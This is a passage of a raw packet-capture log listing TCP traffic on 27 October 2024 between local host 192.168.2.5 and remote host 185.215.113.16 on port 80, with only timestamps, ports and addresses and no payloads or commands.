Oct 27, 2024 20:15:34.238106012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238116980 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.238140106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238147020 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.238172054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238205910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238218069 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.238239050 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238272905 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238285065 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.238306046 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238333941 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238367081 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238378048 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.238399982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.238404989 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.244715929 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.275399923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275466919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275491953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.275521994 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275557041 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275566101 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.275593042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275626898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275661945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275671959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.275696039 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275705099 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.275729895 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275763988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275798082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275811911 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.275832891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275840998 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.275866985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275899887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275927067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.275933981 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275966883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.275973082 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.276001930 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.276047945 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.276076078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.280816078 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.313383102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313462019 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313488960 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.313515902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313564062 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.313570023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313605070 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313654900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313667059 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.313708067 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313755989 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313800097 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.313807011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313844919 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313874006 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.313898087 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313947916 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.313970089 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314030886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314066887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314102888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314111948 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314136982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314158916 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314171076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314205885 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314241886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314255953 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314281940 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314316034 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314331055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314347982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314393997 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314404011 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314438105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314445972 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314474106 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314524889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314559937 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314568996 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314594030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314629078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314635992 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314665079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314675093 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.314699888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314735889 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.314739943 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.315612078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.315694094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.315730095 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.315757036 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.315764904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.315771103 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.315798044 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.315831900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.315844059 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.315865993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.315897942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.315921068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.315937996 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.315979004 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.315993071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316028118 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316063881 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316102982 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316108942 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.316236973 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316297054 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.316307068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316350937 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.316359997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316394091 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316426992 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316459894 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316472054 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.316493988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316526890 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316536903 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.316560984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316566944 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.316595078 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316631079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316647053 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.316690922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316725969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316768885 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.316777945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316812038 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316857100 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.316860914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.316903114 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.322849035 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.352427959 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352471113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352525949 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.352530956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352586985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352622032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352654934 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352672100 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.352689028 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352704048 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.352722883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352756023 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352763891 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.352790117 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.352840900 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.352961063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353010893 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353063107 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353101969 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353115082 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353152990 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353185892 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353193045 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353219032 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353223085 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353254080 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353292942 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353302956 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353346109 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353379965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353384972 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353414059 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353451967 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353491068 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353502035 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353535891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353569984 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353579998 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353601933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353635073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353638887 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353667021 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353671074 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353702068 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353734016 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353749990 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353790045 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353823900 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353857040 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353861094 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353907108 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353940964 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353949070 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.353974104 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.353986025 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354026079 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354065895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354078054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354130030 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354162931 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354196072 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354202032 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354247093 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354279995 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354286909 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354311943 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354319096 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354346037 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354377985 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354410887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354418039 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354449987 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354471922 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354507923 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354542017 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354573965 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354581118 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354607105 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354640007 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354645014 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354671955 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354675055 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354707956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354741096 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354779959 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354790926 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354825974 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354859114 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354866982 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354892969 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354895115 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354927063 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354960918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.354967117 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.354995012 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355027914 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355031013 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.355061054 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355094910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355135918 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355137110 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.355169058 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355197906 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355220079 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.355231047 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355235100 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.355264902 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355298042 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355303049 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.355354071 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.355645895 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392334938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392412901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392450094 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392468929 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392510891 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392545938 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392561913 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392576933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392585039 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392592907 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392616987 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392620087 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392633915 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392638922 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392648935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392663956 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392673016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392680883 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392694950 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392703056 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392712116 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392741919 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392751932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392765999 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392780066 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392796993 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392802954 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392811060 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392819881 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392827988 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392841101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.392849922 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.392980099 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.405488968 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.430238962 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430299997 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430331945 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430360079 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.430385113 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430439949 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430473089 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430489063 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.430507898 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430558920 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.430579901 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430624008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430632114 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.430658102 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430694103 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430706024 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.430744886 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430778980 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430820942 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.430831909 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430883884 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430931091 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.430937052 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430972099 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.430983067 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431010008 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431042910 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431058884 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431096077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431129932 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431139946 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431163073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431202888 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431232929 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431245089 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431266069 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431284904 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431339979 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431374073 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431381941 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431408882 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431440115 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431443930 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431473970 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431508064 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431550026 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431561947 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431605101 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431648016 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431657076 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431693077 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431696892 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431726933 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431763887 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431767941 CET	49719	80	192.168.2.5	185.215.113.16
Oct 27, 2024 20:15:34.431798935 CET	80	49719	185.215.113.16	192.168.2.5
Oct 27, 2024 20:15:34.431827068 CET	80	49719	185.215.113.16	192.168.2.5
